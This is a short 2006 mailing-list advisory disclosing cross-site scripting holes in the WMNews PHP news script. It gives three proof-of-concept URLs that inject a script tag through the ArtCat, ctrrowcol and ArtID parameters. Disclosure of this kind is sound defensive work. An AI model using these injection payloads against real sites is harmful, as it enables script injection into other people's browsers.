OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
WMNews Cross Site Scripting

exalibur33gmail.com
Date: Sun Mar 12 2006 - 14:50:39 CST

-------------------------------------------------------------------------------------
WMNews Cross Site Scripting

Site:http://wartamikael.org/PHPScripts/
Demo:http://www.scriptevi.com/files/demo/news/wmnews/

---------------------------------------------------
Credit : R00T3RR0R
webpage:www.biyosecurity.be
Mail :exalibur33gmail.com

-------------------------------------------------------------------------------------
WMNews

http://victim/path/wmview.php?ArtCat="><script>alert(/R00T3RR0R/)</script>
http://victim/path/footer.php?ctrrowcol="><script>alert(/R00T3RR0R/)</script>
http://victim/path/wmcomments.php?act=vi&CmID=2&ArtID="><script>alert(/R00T3RR0R/)</script>

----------------------------------------------------------------------------------------
Source:

http://www.blogcu.com/Liz0ziM/350164/

http://biyosecurity.be/bugs/wmnews.txt